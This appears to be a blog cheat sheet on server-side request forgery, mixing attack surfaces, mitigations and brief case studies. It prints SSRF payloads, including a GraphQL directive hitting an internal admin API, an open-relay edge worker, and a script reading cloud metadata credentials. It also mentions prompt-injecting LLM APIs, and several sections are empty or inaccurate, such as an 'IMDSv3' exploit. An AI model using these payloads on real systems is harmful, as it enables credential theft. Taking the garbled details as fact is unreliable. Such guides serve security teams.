SSRF Cheat Sheet 2025: Latest Exploits, Defenses & Real-World Case Studies
In this guide, we’ll explore the latest SSRF attack methods, cutting-edge prevention techniques, real-world examples, and practical exploitation strategies. By the end, you’ll have a comprehensive SSRF cheat sheet. a must-have for penetration testers, DevSecOps teams, and security engineers.
1. Understanding Modern SSRF Attack Surfaces
1.1 Cloud-Native Environments
1.2 AI/ML-Driven Applications
- Model Callbacks: Exploiting ML inference systems via SSRF callbacks.
- AIaaS API Proxying: Leveraging AI-as-a-Service endpoints for SSRF.
- Prompt Injection Attacks: Manipulating LLM-based APIs to generate internal requests.
1.3 Zero-Trust Architecture Bypasses
- mTLS Bypass: Using stolen short-lived certificates to impersonate services.
- SPIFFE/SPIRE Identity Spoofing: Exploiting poorly validated workload identities.
- Abusing OAuth Token Introspection: Gaining unauthorized access via token manipulation.
1.4 Emerging Protocols & SSRF Risks
2. Exploitation Techniques & Real-World Examples
2.1 GraphQL & Edge Computing SSRF
GraphQL Batch Query Injection:
query {
user(id: "1") {
profilePicture @http(url: "http://internal-api/admin")
}
}Real-World Example: A penetration test on a SaaS platform found an exposed GraphQL resolver allowing internal API access.
2.2 WebAssembly & Cloudflare Worker Exploits
SSRF via Edge Computing:
async function handleRequest(request) {
const url = new URL(request.url);
const target = url.searchParams.get("target");
return fetch(`http://${target}`);
}Real-World Example: Cloudflare Workers used to relay SSRF payloads to private network endpoints.
2.3 Bypassing Modern Defenses
3. Advanced Mitigation Strategies
3.1 Cloud-Specific Protections
- AWS: Enforce IMDSv2, restrict IAM roles, disable IMDSv1.
- Azure: Use Managed Identities, restrict API exposure.
- GCP: Restrict default service accounts, enable VPC-SC.
- Kubernetes: Implement eBPF-based network restrictions.
3.2 AI/ML-Assisted Detection
- Deploy anomaly detection for high-frequency requests to internal services.
- Flag unexpected outbound requests from web applications.
3.3 Zero-Trust & Protocol Allowlisting
- Block gopher://, dict://, file:// schemes.
- Enforce SPIFFE/SPIRE for workload authentication.
4. Best Tools & Detection Methods
5. Exploitation Case Studies
5.1 AWS Lambda IMDSv3 Exploit
import requests
headers = {"X-aws-ec2-metadata-token": "AAAAAAAAAAAAAAAAA"}
response = requests.get("http://169.254.169.254/latest/meta-data/iam/security-credentials/", headers=headers)
print(response.text)Mitigation: Enforce IMDSv2 and disable legacy credentials.
Final Thoughts: How to Stay Ahead of SSRF Threats
- Continuously Audit Cloud Configurations: Ensure IAM policies and metadata services are secure.
- Harden Zero-Trust Architectures: Enforce SPIFFE/SPIRE, mutual TLS (mTLS).
- Use AI/ML for SSRF Detection: Implement behavioral analysis for outbound request patterns.
📌 Stay Updated & Secure!
🚀 Follow for more cybersecurity insights. If this guide helped you, clap 👏 and share! Twitter | LinkedIn | GitHub | Whatsapp channel
